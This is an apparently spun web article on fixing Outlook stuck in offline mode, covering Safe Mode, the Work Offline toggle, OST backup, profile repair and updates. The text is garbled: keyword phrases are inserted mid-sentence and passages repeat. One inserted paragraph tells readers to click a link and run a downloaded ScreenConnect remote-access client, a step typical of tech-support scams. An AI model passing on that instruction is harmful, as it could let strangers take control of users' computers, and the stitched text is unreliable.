To do this, hit Windows + R, type outlook.exe /safe, and hit Enter. If it connects in Safe Mode, one of your add-ins is probably the culprit. Closing Outlook and reopening it helps clear up minor glitches. Try launching Outlook in Safe Mode to check if add-ins are causing trouble. Double-check that you’re on Exchange connectivity diagnostic the right network, especially if you have several Wi-Fi options.

Check OST file

• Don’t let secondary Exchange servers manage your device if you don’t have to.
• Outlook has a Work Offline button under the Send/Receive tab.
• These methods work in Outlook 2010, 2013, 2016, and 2019.
• Figuring out why Outlook gets stuck offline really helps you fix it—and keeps it from coming back.
• If the issue is the same, update Outlook, repair Outlook profile, or reconfigure your account to reconnect Outlook to the Server.
• Setting up the Exchange account by hand avoids this.

If you get a prompt about letting another server manage your system and pick the wrong answer, Outlook might stay offline for good. Please click the link below from your computer (after reading solve Office 365 mailbox sync delays this). On the new page, click the green I Agree button to start the connection download. Once the file (Elsinore.ScreenConnect.Client) has downloaded, select Run or Open.

How To Fix Outlook Stuck in Offline Mode?

Move it to a backup folder, like Desktop\OST Backup. Every business setup is different, and sometimes these problems run deeper than a quick fix. Our organization requires several folders from our mapped network drives be set to "Always Available Offline". Create your account and connect with a world of communities. There could be several reasons for your Outlook disconnect.

Verify Work Offline Button Status

If the issue is the same, update Outlook, repair Outlook profile, or reconfigure your account to reconnect Outlook to the Server. In this guide, we've discussed the reasons that can cause the 'Outlook stuck in offline mode' issue and methods to troubleshoot and resolve it. In Microsoft Outlook 2010 and later versions, users can switch from Offline Mode to Online Mode and vice-versa based on their preference. Even a brief hiccup can kick Outlook into offline mode, and sometimes it just stays there until you do something about it. Outlook Safe Mode can help troubleshoot and fix the Outlook stuck in offline mode issue as it prevents any add-in from interfering with the normal Outlook operations. The Work Offline option is available under the 'SEND/RECEIVE' tab in Outlook.

Method 1: Reset 'Work Offline' to Reconnect

If Outlook can’t get to the mail server, no amount of tweaking inside Outlook will help. Try opening a browser or running a quick ping test to check if your network’s up. Outlook needs Microsoft Exchange and Office 365 to stay connected. If Outlook can’t log in to those services, it just flips into offline mode. When Microsoft Outlook says "Working Offline," it’s basically struggling to talk to your mail server. This can happen for all sorts of reasons—maybe it’s a local profile problem, a conflict with Microsoft Exchange, or an Office 365 environment.





A broken Outlook profile can mess up syncing and keep you offline. We usually suggest making a new profile instead of spending ages trying to fix the old one. From the file explorer ribbon, under the 'Easy Access' drop down menu, you could toggle from "offline" to "online".





Jamie Kaler, a technical writer at MailsWare, combines her Computer Science background with a passion for simplifying complex technical topics. She's dedicated to offering valuable insights and solutions in email data management, including migration, recovery, and client management. Jamie's commitment to making technology user-friendly is evident in her work, making her a valuable resource for readers in these domains. You can download the software on Windows Desktop or Laptop.



If any updates to Outlook or MS Office are pending, get them installed as soon as possible. However, if you mailbox not updating on IMAP are experiencing the issue after installing the updates, revert or uninstall the updates and check your Outlook. It’s a good idea to turn on automatic updates in Microsoft 365 Apps for enterprise. That way, you get security fixes and connectivity tweaks right away. If your organization uses volume licensing, schedule those updates through management tools like Microsoft Endpoint Configuration Manager.